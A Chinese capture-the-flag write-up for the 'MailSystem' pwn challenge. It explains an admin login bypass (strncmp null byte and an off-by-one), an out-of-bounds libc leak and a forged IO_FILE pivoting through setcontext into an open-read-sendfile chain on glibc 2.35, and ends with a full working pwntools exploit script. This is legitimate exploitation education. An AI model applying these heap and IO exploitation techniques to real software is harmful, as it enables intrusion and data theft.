软件系统安全赛 - MailSystem

前言:本来不想写wp的,因为第一次参加软件赛,不熟悉pwn题连接远端需要代理问题而交不上flag,但毕竟做了好久本地才打通,题也是挺好,还是写一下。

解题思路

这道题首先是代码比较多,也定义了很多函数,审计比较慢。

附件保护全开,且开启了沙箱禁用了execve,execveat,简单审计后猜测栈溢出是很难了,开始估计是要打堆

(结果是打IO),所以看一下远端libc版本为glibc-2.35,无hook函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10004]
└─[$] checksec pwn [10:05:05]
[*] '/home/icyice/Desktop/刷的上一道题/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10005]
└─[$] seccomp-tools dump ./pwn [10:05:22]
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10006]
└─[$] strings ./libc.so.6 | grep GNU [10:05:24]
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.12) stable release version 2.35.
Compiled by GNU CC version 11.4.0.

登录admin

这是一个邮件系统的 pwn 题,包含用户注册/登录、邮件读写/发送,以及管理员面板

先分析出admin账号系统中有函数存在数组前越界,或者说负数前溢出,所以要想办法登录admin账号,关键在于

admin账号的password是真的伪随机,这该怎么绕过?

image-20260319133205462

两种方法:

其一是利用strncmp的\0截断特性,来绕过真随机数校验,

之所以能成功通过校验,正是因为密码password是真随机数,所以password的开头第一个数字可能是0,而由于

strncmp的\0截断特性,我们也只需要输入\x00即可,当然,成功的概率是1/256(\x00 ~ \xFF),所以需要爆破

去撞,这种方法对靶机有要求,似乎很多师傅都因为靶机环境卡在这里,本地通了,远端打不通。

image-20260319133604365

登录admin账号还有另一种方式,sub_181B 用户分配存在 Off-by-One:

这里注册用户的时候qword_7060 数组只有 12 个元素(索引 0–11),但循环允许 j = 12,如果j = 12可以越界覆

盖掉一个堆指针到 qword_7060[12],(管理admin密码的那个管理块指针),这样memset()会将password清空,

一样用’\x00’绕过,还不需要爆破,提高了脚本的成功率。(这种方法是赛后从其他师傅那里学到的)

image-20260319133859168

OOB泄露libc

然后就可以利用用户 ID 下界检查缺失 → OOB 读写来泄露libc

image-20260319133944802

1
2
3
4
5
6
7
if ( n12 > 12 )   //  只检查了上界,没有检查 n12 <= 0
{
puts("Source user ID out of range!");
...
}
// 对 n12_1(目标用户)也是同样的问题
if ( n12_1 > 12 ) // 同样缺失下界检查

利用这个oob来读入bss段上的stdout,stderr,stdin里存着的libc地址,同理,也可以来篡改stdout来读ORW

image-20260319134011652

伪造IO读入ORW

伪造的IO结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
fake_IO_FILE  = p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout) # read的rsi参数,setcontext时的rdx ###rdx, qword ptr [rax + 0x20]
fake_IO_FILE += p64(stdout+1)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(setcontext_61)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(libc_base + 0x21ba00)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout) # setcontext后的rsp
fake_IO_FILE += p64(read_addr)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) * 2
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE += p64(stdout + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0x100, b"\x00")

效果:

image-20260319134427189

调用setcontext+61后控制好参数去调用read(),读入ORW,接着执行ORW

image-20260319134527409

image-20260319134549180

image-20260319134602444

read()读入ORW成功后

image-20260319134630502

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def add_user(name, password):
sla(b"choice:", b"2")
sla(b"name:", str(name))
sla(b"password:", str(password))

for attempt in range(1000):
io = process("./pwn")
#io = remote("7.dart.ccsssc.com", 26442)
for j in range(7):
add_user(j, j)

sla(b"choice:", b"1")
sla(b"name:", b"admin")
sla(b"password:", b"\x00")
recv_str = io.recvlines(3)
if b"=== Admin Menu ===" in recv_str:
break
else:
io.close()
continue

sla(b"choice:", b"4")
sla(b"(1-12)", b"-3")
sla(b"(1-12)", b"1")
sla(b"choice:", b"1")
# logout admin
sla(b"choice:", b"5")
sla(b"choice:", b"1")
sla(b"name:", b"0")
sla(b"password:", b"0")
# login user:0
sla(b"choice:", b"2")
sla(b"choice:", b"2")
ru(b"Inbox (new mail):\n")
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x21b803
ls(libc_base)

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
sendfile_addr = libc_base + libc.sym['sendfile']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f357
pop_rcx = libc_base + 0x3d1ee
ret = libc_base + 0x29139
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']

fake_IO_FILE = p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout)
fake_IO_FILE += p64(stdout+1)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(setcontext_61)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(libc_base + 0x21ba00)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(stdout)
fake_IO_FILE += p64(read_addr)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) * 2
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE += p64(stdout + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0x100, b"\x00")

sla(b"choice:", b"3")
sla(b"choice:", b"1")
sla(b"(1-256):", b"256")
sla(b"(max 256 bytes):", fake_IO_FILE)

sla(b"choice:", b"4")
# login admin
sla(b"choice:", b"1")
sla(b"name:", b"admin")
sla(b"password:", b"\x00")

sla(b"choice:", b"4")
sla(b"(1-12)", b"1")
sla(b"(1-12)", b"-7")
debug()
sla(b"choice:", b"1")
sleep(0.5)

flag_addr = stdout + 0x100

orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rcx) + p64(0x100) + p64(sendfile_addr)

orw = orw.ljust(0x100, b"\x00")
orw += b"./flag\x00\x00"

s(orw)

ia()